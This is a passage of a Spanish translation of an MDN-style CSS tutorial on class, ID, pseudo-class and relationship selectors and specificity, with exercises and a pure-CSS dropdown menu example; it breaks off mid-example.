+<p><span id="result_box" lang="es"><span class="hps">Dos</span> <span class="hps">atributos tienen</span> <span class="hps">un estatus especial</span> <span class="hps">para</span> <span class="hps">CSS</span><span>.</span> <span class="hps">Son</span></span> <a href="/en-US/docs/Web/HTML/Global_attributes#attr-class" title="en-US/docs/Web/HTML/Global_attributes#attr-class"><code>class</code></a> <code>e </code><a href="/en-US/docs/Web/HTML/Global_attributes#id" title="en-US/docs/Web/HTML/Global_attributes#id"><code>id</code></a>.</p>
+
+<h3 id="Class_Selectores_de_clase">Class: <span id="result_box" lang="es"><span class="hps">Selectores de clase</span></span></h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Utilice el</span> <span class="hps">atributo</span></span> <a href="/en-US/docs/Web/HTML/Global_attributes#attr-class" title="en-US/docs/Web/HTML/Global_attributes#attr-class"><code>class</code></a> para <span id="result_box" lang="es"><span class="hps">asignarle  a </span></span><span id="result_box" lang="es"><span class="hps">un elemento</span> un nombre de clase<code><strong><em> (class)</em></strong></code></span>. <span id="result_box" lang="es"><span class="hps">Depende de</span><span class="hps">l</span><span class="hps"> nombre que elijas</span> como <span class="hps"><code><strong><em>class</em></strong></code>.</span></span> <span id="result_box" lang="es"><span class="hps">Múltiples</span> <span class="hps">elementos en un documento</span> <span class="hps">pueden tener el mismo</span> <span class="hps">valor de la clase</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">En</span> <span class="hps">su hoja de estilo</span><span>, escriba</span> <span class="hps atn">un punto (.</span><span>)</span> <span class="hps">antes del </span><span class="hps">nombre de la clase</span>,<span class="hps"> cuando</span> <span class="hps">se utiliza como </span><span class="hps">un selector.</span></span></p>
+
+<h3 id="Selectores_ID"><span id="result_box" lang="es"><span class="hps alt-edited">Selectores ID</span></span></h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Utilice el atributo</span> <span class="hps">id en</span> <span class="hps">un elemento</span> <span class="hps">para asignar un</span> <span class="hps alt-edited">identificación para</span> ese <span class="hps">elemento</span><span>.</span> <span class="hps">Depende de</span> usted el <span class="hps">nombre que elija</span> <span class="hps">para el ID</span><span>.</span> <span class="hps">El nombre de</span> <span class="hps">ID</span> <span class="hps">debe ser único</span> <span class="hps">en el documento.</span></span><br>
+  </p>
+
+<p><span id="result_box" lang="es"><span class="hps">En</span> <span class="hps">su hoja de estilo</span><span>, escriba un</span> <span class="hps alt-edited">símbolo de almohadilla</span> <span class="hps atn">(</span><span class="alt-edited">#)</span> <span class="hps alt-edited">ante el</span> <span class="hps alt-edited">ID cuando</span> <span class="hps alt-edited">se utiliza esto en</span> <span class="hps">un selector.</span></span></p>
+
+<div class="tuto_example">
+<div class="tuto_type">Ejemplo</div>
+
+<p><span id="result_box" lang="es"><span class="hps">Esta etiqueta</span> <span class="hps">HTML</span> <span class="hps">tiene un</span> <span class="hps alt-edited">atributo <code>class</code></span><code> </code><span class="hps">y un atributo</span> <span class="hps"><code>id</code>:</span></span></p>
+
+<pre class="brush: html">&lt;p class="key" id="principal"&gt;
+</pre>
+
+<p><span id="result_box" lang="es"><span class="hps">El</span> <span class="hps alt-edited">valor de <code><em><strong>id </strong></em></code>es</span><span class="alt-edited">, <strong>principal</strong>,</span> <span class="hps">debe ser único</span> <span class="hps">en el documento;</span> <span class="hps">pero</span> <span class="hps">otras</span> <span class="hps">etiquetas del documento</span> <span class="hps">puede tener el mismo</span> <span class="hps alt-edited">nombre de la <strong><em><code>class</code></em></strong></span><span>,</span> <span class="hps alt-edited">Key.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">En</span> <span class="hps">una hoja de estilo</span> <span class="hps">CSS</span><span>,</span> <span class="hps">esta regla</span> <span class="hps">hace que todos</span> <span class="hps">los elementos con la <code><em>class</em></code></span><code><em> </em></code><span class="hps"><code><em><strong>key </strong></em></code>sean verdes</span> <span>.</span> <span class="hps atn">(</span><span>Puede ser que no</span> <span class="hps">todos los sean</span> <span class="hps atn">{</span><span class="atn">{</span><span>HTMLElement</span> <span class="hps">()</span><span>}</span> <span class="hps">"p"</span><span>}</span> <span class="hps">elementos.</span><span>)</span></span></p>
+
+<pre class="brush: css">.key {
+  color: green;
+}
+</pre>
+
+<p><span id="result_box" lang="es"><span class="hps">Esta regla</span> <span class="hps">hace que</span> <span class="hps">el </span></span><span id="result_box" lang="es"><span class="hps">único </span></span><span id="result_box" lang="es"><span class="hps"> </span></span><span id="result_box" lang="es"><span class="hps">elemento</span> </span><span id="result_box" lang="es"> <span class="hps alt-edited">de id </span></span><span id="result_box" lang="es"><code><strong><em><span class="hps alt-edited">principal</span></em></strong></code> este en <span class="hps">negrita:</span></span></p>
+
+<pre class="brush: css">#principal {
+  font-weight: bolder;
+}
+</pre>
+</div>
+
+<p><span id="result_box" lang="es"><span class="hps">Si más de una</span> <span class="hps">regla se aplica a</span> <span class="hps">un elemento</span> <span class="hps">y especifica</span> <span class="hps">la misma propiedad,</span> <span class="hps alt-edited">entonces</span> <span class="hps alt-edited">el CSS</span> <span class="hps">da prioridad</span> <span class="hps">a la regla que</span> <span class="hps">tiene el</span> <span class="hps">selector más específico</span><span>.</span> <span class="hps">Un selector</span> <code><em><strong><span class="hps">ID</span> </strong></em></code><span class="hps">es más específico que</span> <span class="hps">un</span> <span class="hps alt-edited">selector de <em><strong><code>class</code></strong></em></span><span>,</span> <span class="hps">que a su vez</span> <span class="hps">es más específico que</span> <span class="hps">un</span> <span class="hps alt-edited">selector (<strong>tag</strong>) de etiquetas</span><span>.</span></span></p>
+
+<div class="tuto_details">
+<div class="tuto_type"><span id="result_box" lang="es"><span class="hps alt-edited">Más</span> <span class="hps">detalles</span></span></div>
+
+<p><span id="result_box" lang="es"><span class="hps">También se pueden combinar</span> <span class="hps">selectores</span><span>, haciendo un</span> <span class="hps">selector más específico</span><span>.</span></span><br>
+ <br>
+ Por ejemplo, el selector <strong><em><code>.key</code></em></strong> selecciona <span id="result_box" lang="es"><span class="hps">todos los</span> <span class="hps">elementos que tienen</span> <code><em><strong><span class="hps">key</span> </strong></em></code>como <span class="hps alt-edited">nombre de clase (<strong><em><code>class</code></em></strong></span></span>). El selector <code><em><strong>p</strong></em>.key</code> <span id="result_box" lang="es"><span class="hps">selecciona</span> <span class="hps">sólo el elemento</span></span> {{ HTMLElement("p") }} que tiene de nombre <em><strong><code>key</code></strong></em>.</p>
+
+<p><span id="result_box" lang="es"><span class="hps">Usted no esta </span><span class="hps">limitado a los dos</span> <span class="hps">atributos especiales</span><span>, </span></span><em><strong><code>class</code> </strong></em><span lang="es"><span class="hps">e <em><code><strong>id</strong></code></em></span><span>.</span>  Se p<span class="hps">uede especificar</span> <span class="hps">otros atributos</span> <span class="hps">mediante corchetes</span><span>.</span> <span class="hps">Por ejemplo</span><span>, el selector</span> <span class="hps atn">[</span></span><strong><em><code>type='button'</code></em></strong><span lang="es"><span>] selecciona</span> <span class="hps">todos los</span> <span class="hps">elementos que tienen</span> <span class="hps">un atributo de tipo</span> <span class="hps">con el </span> <span class="hps">valor </span></span><strong><em><code>button</code></em></strong><span lang="es"><span>.</span></span></p>
+</div>
+
+<p><span id="result_box" lang="es"><span class="hps">Si</span> <span class="hps">la hoja de estilo</span> <span class="hps">tiene reglas</span> <span class="hps">en conflicto</span> <span class="hps">y son</span> <span class="hps">igualmente específicas</span><span>, entonces</span> <span class="hps alt-edited">el CSS</span> <span class="hps">da</span> <span class="hps">prioridad a</span> <span class="hps alt-edited">la regla que</span> <span class="hps alt-edited">está</span> <span class="hps alt-edited">después en</span> <span class="hps">la hoja de estilos</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Cuando</span> <span class="hps">usted tiene un problema</span> <span class="hps alt-edited">con las reglas</span> <span class="hps">en conflicto,</span> <span class="hps alt-edited">trate de resolverlo</span> <span class="hps">haciendo</span> <span class="hps">una de las</span> <span class="hps">normas más específicas</span><span>, para que</span> <span class="hps alt-edited">tenga </span><span class="hps">prioridad.</span> <span class="hps">Si usted no puede</span> <span class="hps">hacer esto</span><span>, trate de mover</span> <span class="hps">una de las reglas</span> mas <span class="hps alt-edited">cerca del</span> <span class="hps">final de</span> <span class="hps">la hoja de estilos</span> <span class="hps">para que tenga</span> la <span class="hps">prioridad.</span></span></p>
+
+<h3 id="Las_pseudo-clases_de_los_selectores"><span class="short_text" id="result_box" lang="es"><span class="hps atn">Las pseudo-</span><span>clases de</span> los <span class="hps">selectores </span></span></h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Una</span> <span class="hps">pseudo-clase </span></span> <a href="/en-US/docs/Web/CSS/Pseudo-classes" title="en-US/docs/Web/Guide/CSS/Pseudo-classes">pseudo-class</a><span lang="es"> <span class="hps alt-edited">es en  CSS</span> <span class="hps">una palabra clave</span> <span class="hps">añadida a</span> <span class="hps">los selectores,</span> <span class="hps">que especifica</span> <span class="hps">un estado especial</span> <span class="hps">del elemento</span> <span class="hps">a seleccionar.</span> <span class="hps">Por ejemplo</span> <span class="hps atn">{</span><span class="atn">{</span><span>Css</span> <span class="hps">Href</span> <span class="hps atn">(</span><span class="hps atn">"</span><span>: hover</span><span>")}</span><span>}</span> <span class="hps">aplicará</span> <span class="hps">un estilo</span> <span class="hps">cuando el</span> <span class="hps">usuario se desplaza sobre</span> <span class="hps">el elemento especificado</span> <span class="hps alt-edited">mediante el selector</span></span>.</p>
+
+<p><span id="result_box" lang="es"><span class="hps">Las </span></span><code>Pseudo-classes</code><span lang="es"><span>,</span> <span class="hps">junto con</span> <span class="hps">los <code>pseudo-elements</code></span><span>,</span> <span class="hps">permiten aplicar</span> <span class="hps">un estilo</span> <span class="hps">a un elemento</span> <span class="hps">no sólo</span> <span class="hps">en relación con</span> <span class="hps">el contenido</span> <span class="hps">de</span> <span class="hps">la estructura del documento</span><span>,</span> <span class="hps">sino también en relación</span> <span class="hps">a los factores externos</span><span>, como</span> <span class="hps">la historia del</span> <span class="hps atn">navegador </span><span>por ejemplo:</span><span class="hps atn"> (</span><span class="atn">{</span><span class="atn">{</span><span>href</span> <span class="hps">css</span> <span class="hps atn">(</span><span class="hps atn">"</span><span class="hps">: visited</span> <span class="hps">")}</span><span>}</span><span>, )</span><span>,</span> <span class="hps">el estado de</span> <span class="hps">su contenido</span> <span class="hps">(como</span> <span class="hps atn">{</span><span class="atn">{</span><span>ref</span> <span class="hps">css</span> <span class="hps atn">(</span><span>"</span><span>: </span></span>:checked"<span lang="es"><span class="hps">)}</span><span>} en</span> <span class="hps">algunos</span> <span class="hps">elementos de formulario</span><span>)</span><span>,</span> <span class="hps">o</span> <span class="hps">la posición del</span> <span class="hps">ratón</span> <span class="hps">(como</span> <span class="hps atn">{</span><span class="atn">{</span><span>cssxref</span> <span class="hps">("</span></span>:hover<span lang="es"> <span class="hps">")}</span><span>}</span> <span class="hps">que le permite saber</span> <span class="hps">si</span> <span class="hps">el ratón está sobre</span> <span class="hps">un elemento o</span> <span class="hps">no).</span> <span class="hps">Para ver</span> <span class="hps">una lista completa de</span> <span class="hps">selectores</span><span>,</span> <span class="hps">visite</span> <span class="hps">especificación</span> <span class="hps">CSS3</span> <span class="hps">Selectores</span> <span class="hps">de trabajo </span></span> <a class="external" href="http://www.w3.org/TR/selectors/#selectors" rel="external nofollow" title="CSS3 Selectors working spec">CSS3 Selectors working spec</a>.</p>
+
+<div class="tuto_example">
+<div class="tuto_type"><span class="short_text" id="result_box" lang="es"><span class="hps">Sintaxis</span></span></div>
+
+<pre class="brush:css">selector:pseudo-class {
+  property: value;
+}
+</pre>
+</div>
+
+<h4 id="Listado_de_pseudo-classes">Listado de pseudo-classes:</h4>
+
+<ul>
+ <li>{{ Cssxref(":link") }}</li>
+ <li>{{ Cssxref(":visited") }}</li>
+ <li>{{ Cssxref(":active") }}</li>
+ <li>{{ Cssxref(":hover") }}</li>
+ <li>{{ Cssxref(":focus") }}</li>
+ <li>{{ Cssxref(":first-child") }}</li>
+ <li>{{ Cssxref(":last-child") }}</li>
+ <li>{{ Cssxref(":nth-child") }}</li>
+ <li>{{ Cssxref(":nth-last-child") }}</li>
+ <li>{{ Cssxref(":nth-of-type") }}</li>
+ <li>{{ Cssxref(":first-of-type") }}</li>
+ <li>{{ Cssxref(":last-of-type") }}</li>
+ <li>{{ Cssxref(":empty") }}</li>
+ <li>{{ Cssxref(":target") }}</li>
+ <li>{{ Cssxref(":checked") }}</li>
+ <li>{{ Cssxref(":enabled") }}</li>
+ <li>{{ Cssxref(":disabled") }}</li>
+</ul>
+
+<h2 id="Información_Los_selectores_basados_en_relaciones_(relationships)"><span id="result_box" lang="es"><span class="hps">Información:</span> <span class="hps">Los selectores</span> <span class="hps">basados en relaciones </span></span>(relationships)</h2>
+
+<p><span id="result_box" lang="es"><span class="hps alt-edited">El CSS</span> <span class="hps">tiene algunas</span> <span class="hps">formas de seleccionar</span> <span class="hps">elementos en función de</span> <span class="hps">las</span> <span class="hps">relaciones entre los elementos</span><span>.</span> <span class="hps">Usted</span> <span class="hps">puede utilizar estas para</span> <span class="hps">hacer</span> <span class="hps">selectores</span> <span class="hps alt-edited">que sean más específicos</span><span>.</span></span></p>
+
+<table id="relselectors">
+ <caption><span class="short_text" id="result_box" lang="es"><span class="hps">Selectores</span> <span class="hps">comunes</span> <span class="hps alt-edited">basados en relaciones</span></span></caption>
+ <tbody>
+  <tr>
+   <td style="width: 10em;"><strong>Selector</strong></td>
+   <td><strong>Selects</strong></td>
+  </tr>
+  <tr>
+   <td><code>A E</code></td>
+   <td><span id="result_box" lang="es"><span class="hps">Cualquier</span> <span class="hps">elemento E</span> <span class="hps">que</span> <span class="hps">es un descendiente de</span> <span class="hps">un elemento</span> <span class="hps atn">A (</span><span>que</span> <span class="hps">es:</span> <span class="hps alt-edited">un hijo o</span> <span class="hps alt-edited">un hijo</span> <span class="hps alt-edited">de un hijo</span> <span class="hps">etc.</span><span>)</span></span></td>
+  </tr>
+  <tr>
+   <td><code>A &gt; E</code></td>
+   <td><span id="result_box" lang="es"><span class="hps">Cualquier</span> <span class="hps">elemento E</span> <span class="hps">que</span> <span class="hps">es un hijo de</span> <span class="hps">un elemento A</span></span></td>
+  </tr>
+  <tr>
+   <td><code>E:first-child</code></td>
+   <td><span id="result_box" lang="es"><span class="hps">Cualquier</span> <span class="hps">elemento E</span> <span class="hps">que</span> <span class="hps">es el primer</span> <span class="hps">hijo de su padre</span></span></td>
+  </tr>
+  <tr>
+   <td><code>B + E</code></td>
+   <td><span id="result_box" lang="es"><span class="hps">Cualquier</span> <span class="hps">elemento E</span> <span class="hps">que</span> <span class="hps">es</span> <span class="hps">el siguiente hermano</span> <span class="hps">de un elemento</span> <span class="hps">B</span> <span class="hps">(es decir</span><span>:</span> <span class="hps">el</span> <span class="hps">próximo hijo</span> <span class="hps">del mismo</span> <span class="hps">padre)</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span id="result_box" lang="es"><span class="hps">Usted</span> <span class="hps">puede combinarlas para</span> <span class="hps">expresar relaciones</span> <span class="hps">complejas</span><span>.</span><br>
+ <br>
+ <span class="hps">También puede utilizar</span> <span class="hps">el símbolo</span> <span class="hps">asterisco </span></span><span lang="es"> <span class="hps">(*</span><span>)</span> <span class="hps alt-edited">para significar</span> <span class="hps atn">"</span><span>cualquier elemento</span><span>"</span><span>.</span></span></p>
+
+<div class="tuto_example">
+<div class="tuto_type">Ejemplo</div>
+
+<p><span id="result_box" lang="es"><span class="hps">Una tabla HTML</span> <span class="hps">tiene</span> <span class="hps">un atributo <strong><em><code>id</code></em></strong></span><span>,</span> <span class="hps">pero sus</span> <span class="hps">filas y</span> <span class="hps alt-edited">las celdas</span> <span class="hps">no tienen</span> <span class="hps">identificadores individuales</span><span>:</span></span></p>
+
+<pre class="brush: html">&lt;table id="data-table-1"&gt;
+...
+&lt;tr&gt;
+&lt;td&gt;Prefix&lt;/td&gt;
+&lt;td&gt;0001&lt;/td&gt;
+&lt;td&gt;default&lt;/td&gt;
+&lt;/tr&gt;
+...
+</pre>
+
+<p><span id="result_box" lang="es"><span class="hps">Estas</span> <span class="hps">reglas hacen</span> <span class="hps">que la primera celda de</span> <span class="hps">cada fila</span> sea en <span class="hps">negrita,</span> <span class="hps">y</span> <span class="hps">la segunda celda</span> de <span class="hps">cada fila</span> en  la familia de fuente <span class="hps"> monoespaciado</span><span>.</span> <span class="hps alt-edited">Esto</span> <span class="hps alt-edited">sólo afecta a</span> <span class="hps">una</span> <span class="hps alt-edited">tabla concreta</span> <span class="hps alt-edited">del documento:</span></span></p>
+
+<pre class="brush:css">    #data-table-1 td:first-child {font-weight: bolder;}
+    #data-table-1 td:first-child + td {font-family: monospace;}
+</pre>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">El resultado</span> <span class="hps">se ve así:</span></span></p>
+
+<table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+ <tbody>
+  <tr>
+   <td>
+    <table style="width: 18em; margin-right: 2em;">
+     <tbody>
+      <tr>
+       <td><strong>Prefix</strong></td>
+       <td><code>0001</code></td>
+       <td>default</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type"><span id="result_box" lang="es"><span class="hps alt-edited">Más</span> <span class="hps">detalles</span></span></div>
+
+<p><span id="result_box" lang="es"><span class="hps">La manera mas </span><span class="hps">habitual es hacer</span><span class="hps alt-edited"> que un</span> <span class="hps alt-edited">selector sea más específico</span><span>, entonces</span> aumentara <span class="hps">su prioridad.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Si utiliza</span> <span class="hps">estas técnicas</span><span>, se evita</span> <span class="hps">la necesidad de especificar</span> <span class="hps">la</span></span> <strong><em><code>class</code> </em></strong><span id="result_box" lang="es"><span class="hps">o</span> <span class="hps">atributos <strong><em><code>ID</code></em></strong></span></span><strong><em><code> </code></em></strong><span id="result_box" lang="es"><span class="hps alt-edited">en muchas</span> <span class="hps">etiquetas</span> <span class="hps alt-edited">del documento.</span> <span class="hps">En su lugar</span><span>, CSS</span> <span class="hps">hace este trabajo.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">En grandes</span> <span class="hps">diseños</span> <span class="hps">donde la velocidad es</span> <span class="hps">importante</span><span>,</span> <span class="hps">usted puede hacer sus</span> <span class="hps">hojas de estilo</span> <span class="hps">más eficiente</span> <span class="hps">evitando</span> <span class="hps">reglas complejas</span> <span class="hps">que dependen de</span> <span class="hps">relaciones entre los elementos</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Para más ejemplos</span> <span class="hps">sobre</span> <span class="hps">las tablas</span><span>,</span> <span class="hps">ver</span></span> <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Tables" title="en-US/docs/Web/Guide/CSS/Getting_Started/Tables">Tables</a> <span id="result_box" lang="es"><span class="hps">en</span> <span class="hps">la página</span> <span class="hps">CSS Reference</span><span>.</span></span></p>
+</div>
+
+<h2 id="Action_Using_class_and_ID_selectors">Action: Using class and ID selectors</h2>
+
+<ol>
+ <li><span id="result_box" lang="es"><span class="hps">Edite su archivo</span> <span class="hps">HTML</span><span>,</span> <span class="hps">y duplicar</span> <span class="hps">el</span> <span class="hps">párrafo</span> <span class="hps">copiando y</span> <span class="hps">pegando</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">A continuación, agregue los atibutos </span></span> <strong>id</strong> y <strong>class</strong> <span id="result_box" lang="es"><span class="hps">a</span> <span class="hps">la primera copia</span><span>,</span> <span class="hps">y</span> <span class="hps">un atributopara</span> <span class="hps">la segunda copia</span> <span class="hps">como se muestra</span> <span class="hps">a continuación.</span> <span class="hps">Alternativamente</span><span>, copie</span> <span class="hps">y pegue el</span> <span class="hps">archivo entero</span> <span class="hps">de nuevo</span><span>:</span></span>
+  <pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+  &lt;meta charset="UTF-8"&gt;
+  &lt;title&gt;Sample document&lt;/title&gt;
+  &lt;link rel="stylesheet" href="style1.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p id="first"&gt;
+      &lt;strong class="carrot"&gt;C&lt;/strong&gt;ascading
+      &lt;strong class="spinach"&gt;S&lt;/strong&gt;tyle
+      &lt;strong class="spinach"&gt;S&lt;/strong&gt;heets
+    &lt;/p&gt;
+    &lt;p id="second"&gt;
+      &lt;strong&gt;C&lt;/strong&gt;ascading
+      &lt;strong&gt;S&lt;/strong&gt;tyle
+      &lt;strong&gt;S&lt;/strong&gt;heets
+    &lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+ </li>
+ <li><span id="result_box" lang="es"><span class="hps">Ahora edite</span> <span class="hps">su archivo</span> <span class="hps">CSS</span><span>.</span> <span class="hps alt-edited">Reemplazar todo el contenido</span> <span class="hps">con</span><span>:</span></span>
+  <pre class="brush:css">strong { color: red; }
+.carrot { color: orange; }
+.spinach { color: green; }
+#first { font-style: italic; }
+</pre>
+ </li>
+ <li><span id="result_box" lang="es"><span class="hps">Guarde los archivos</span> <span class="hps">y</span> <span class="hps">actualizar el navegador</span> <span class="hps">para ver el resultado</span><span>:</span></span>
+  <table style="border: 2px outset #36b; padding: 1em;">
+   <tbody>
+    <tr>
+     <td style="font-style: italic;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+    </tr>
+    <tr>
+     <td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+    </tr>
+   </tbody>
+  </table>
+
+  <p><span id="result_box" lang="es"><span class="hps alt-edited">Puede intentar</span> <span class="hps">reordenar las</span> <span class="hps">líneas</span> <span class="hps">en el archivo</span> <span class="hps">CSS</span> <span class="hps alt-edited">de mostrar</span> <span class="hps alt-edited">de que el orden</span> <span class="hps alt-edited">no efecta.</span></span></p>
+
+  <p><span id="result_box" lang="es"><span class="hps">Los</span> <span class="hps">selectores de <code>class</code></span></span><strong><em><code>.carrot</code></em></strong> and <em><strong><code>.spinach</code></strong></em> <span id="result_box" lang="es"><span class="hps">tienen prioridad sobre</span> <span class="hps">el selector de etiquetas</span></span> <em><strong><code>strong</code></strong></em>.</p>
+
+  <p>El <strong><code><em>ID </em></code></strong>selector<code> #<em>first</em></code><em> </em><span id="result_box" lang="es"><span class="hps">tiene prioridad sobre</span> <span class="hps">los</span> <span class="hps">selectores de clase</span> <span class="hps">y</span> <span class="hps">etiqueta</span><span>.</span></span></p>
+ </li>
+</ol>
+
+<div class="tuto_example">
+<div class="tuto_type"><span class="short_text" id="result_box" lang="es"><span class="hps">Desafíos</span></span></div>
+
+<ol>
+ <li><span id="result_box" lang="es"><span class="hps">Sin cambiar</span> <span class="hps">su archivo</span> <span class="hps">HTML</span><span>,</span> <span class="hps alt-edited">agregue una sola</span> <span class="hps">regla para</span> <span class="hps">su archivo</span> <span class="hps">CSS</span> <span class="hps alt-edited">que mantenga</span> <span class="hps">todas las letras</span> <span class="hps">iniciales que</span> <span class="hps">mismo color que</span> <span class="hps">están ahora,</span> <span class="hps">pero</span> <span class="hps alt-edited">hace que</span> <span class="hps">todo el</span> <span class="hps">otro texto</span> <span class="hps">en el segundo párrafo</span> <span class="hps alt-edited">sea azul</span><span>:</span></span>
+
+  <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+   <tbody>
+    <tr>
+     <td style="font-style: italic;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+    </tr>
+    <tr>
+     <td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><span id="result_box" lang="es"><span class="hps alt-edited">Ahora cambie</span> <span class="hps">la regla</span> <span class="hps">que acaba de agregar</span> <span class="hps atn">(</span><span>sin cambiar nada más</span><span>)</span><span>,</span> <span class="hps">para hacer</span> <span class="hps alt-edited">que el primer párrafo</span> <span class="hps alt-edited">sea azul</span> <span class="hps">también</span><span>:</span></span>
+  <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+   <tbody>
+    <tr>
+     <td style="font-style: italic; color: blue;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+    </tr>
+    <tr>
+     <td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+</ol>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Possible solution</div>
+
+<ol>
+ <li>Add a rule with an ID selector of <code>#second</code> and a declaration <code>color: blue;</code>, as shown below:
+
+  <pre class="brush: css">#second { color: blue; }
+</pre>
+  A more specific selector, <code>p#second</code> also works.</li>
+ <li>Change the selector of the new rule to be a tag selector using <code>p</code>:
+  <pre class="brush: css">p { color: blue; }
+</pre>
+ </li>
+</ol>
+<a class="hideAnswer" href="#challenge">Hide solution</a></div>
+<a href="#tutochallenge" title="Display a possible solution for the challenge">See a solution for the challenge.</a></div>
+
+<h2 id="Action_Using_pseudo-classes_selectors">Action: Using pseudo-classes selectors</h2>
+
+<ol>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps alt-edited">Cree un</span> <span class="hps alt-edited">HTML como el siguiente</span><span>:</span></span>
+
+  <pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+  &lt;meta charset="UTF-8"&gt;
+  &lt;title&gt;Sample document&lt;/title&gt;
+  &lt;link rel="stylesheet" href="style1.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Go to our &lt;a class="homepage" href="http://www.example.com/" title="Home page"&gt;Home page&lt;/a&gt;.&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+ </li>
+ <li><span id="result_box" lang="es"><span class="hps">Ahora edite</span> <span class="hps">su archivo</span> <span class="hps">CSS</span><span>.</span> <span class="hps alt-edited">Reemplace todo el contenido</span> <span class="hps">con</span><span>:</span></span>
+  <pre class="brush: css">a.homepage:link, a.homepage:visited {
+  padding: 1px 10px 1px 10px;
+  color: #fff;
+  background: #555;
+  border-radius: 3px;
+  border: 1px outset rgba(50,50,50,.5);
+  font-family: georgia, serif;
+  font-size: 14px;
+  font-style: italic;
+  text-decoration: none;
+}
+
+a.homepage:hover, a.homepage:focus, a.homepage:active {
+  background-color: #666;
+}
+</pre>
+ </li>
+ <li><span id="result_box" lang="es"><span class="hps">Guarde los archivos</span> <span class="hps">y</span> <span class="hps alt-edited">actualice el explorador</span> <span class="hps">para ver el resultado</span> <span class="hps atn">(</span><span>poner</span> <span class="hps">el ratón sobre el</span> <span class="hps">siguiente enlace para ver</span> <span class="hps">el efecto</span><span>)</span><span>:</span></span>
+  <table style="border: 2px outset #36b; padding: 1em;">
+   <tbody>
+    <tr>
+     <td>Go to our <a class="tutospecial" href="#" title="Home page">Home page</a><span style="display: none;"> </span><span style="display: none;"> </span></td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+</ol>
+
+<h2 id="Acción_Uso_de_selectores_basados_en_las_relaciones_y_pseudo-clases"><span id="result_box" lang="es"><span class="hps">Acción</span><span>: Uso de</span> <span class="hps">selectores</span> <span class="hps">basados</span> <span class="hps">en las relaciones y</span> <span class="hps">pseudo-clases</span></span></h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Con</span> <span class="hps">selectores</span> <span class="hps">basados</span> <span class="hps">en las relaciones y</span> <span class="hps">pseudo-clases</span> <span class="hps">puede crear</span> <span class="hps">algoritmos </span></span><span id="result_box" lang="es"><span class="hps">complejos</span></span><span id="result_box" lang="es"> en <span class="hps alt-edited">cascada</span> <span class="hps">.</span> <span class="hps">Esto es una técnica</span> <span class="hps">común que se utiliza</span><span>, por ejemplo,</span> <span class="hps">con el fin de</span> <span class="hps">crear menús</span> <span class="hps">desplegables</span> <span class="hps">en </span></span><span id="result_box" lang="es"><span class="hps">puro</span> </span><span id="result_box" lang="es"><span class="hps">CSS</span> <span class="hps">(es decir</span> <span class="hps">sólo</span> <span class="hps">CSS,</span> <span class="hps">sin necesidad de utilizar</span></span> <a href="/en-US/docs/Web/JavaScript" title="en-US/docs/Web/JavaScript">JavaScript</a>). <span id="result_box" lang="es"><span class="hps">La esencia</span> <span class="hps">de esta técnica es</span> <span class="hps">la creación de</span> <span class="hps">una regla como</span> <span class="hps">la siguiente</span><span>:</span></span></p>
+
+<pre class="brush: css">div.menu-bar ul ul {
+  display: none;
+}
+
+div.menu-bar li:hover &gt; ul {
+  display: block;
+}</pre>
+
+<p><span id="result_box" lang="es"><span class="hps alt-edited">Aplicararemos a</span> <span class="hps">una estructura de</span> <span class="hps alt-edited">HTML como el siguiente</span><span>:</span></span></p>
+
+<pre class="brush: html">&lt;div class="menu-bar"&gt;
+  &lt;ul&gt;
+    &lt;li&gt;
+      &lt;a href="example.html"&gt;Menu&lt;/a&gt;
+      &lt;ul&gt;
+        &lt;li&gt;
+          &lt;a href="example.html"&gt;Link&lt;/a&gt;
+        &lt;/li&gt;
+        &lt;li&gt;
+          &lt;a class="menu-nav" href="example.html"&gt;Submenu&lt;/a&gt;
+          &lt;ul&gt;
+            &lt;li&gt;
+              &lt;a class="menu-nav" href="example.html"&gt;Submenu&lt;/a&gt;
+              &lt;ul&gt;
+                &lt;li&gt;&lt;a href="example.html"&gt;Link&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href="example.html"&gt;Link&lt;/a&gt;&lt;/li&gt;
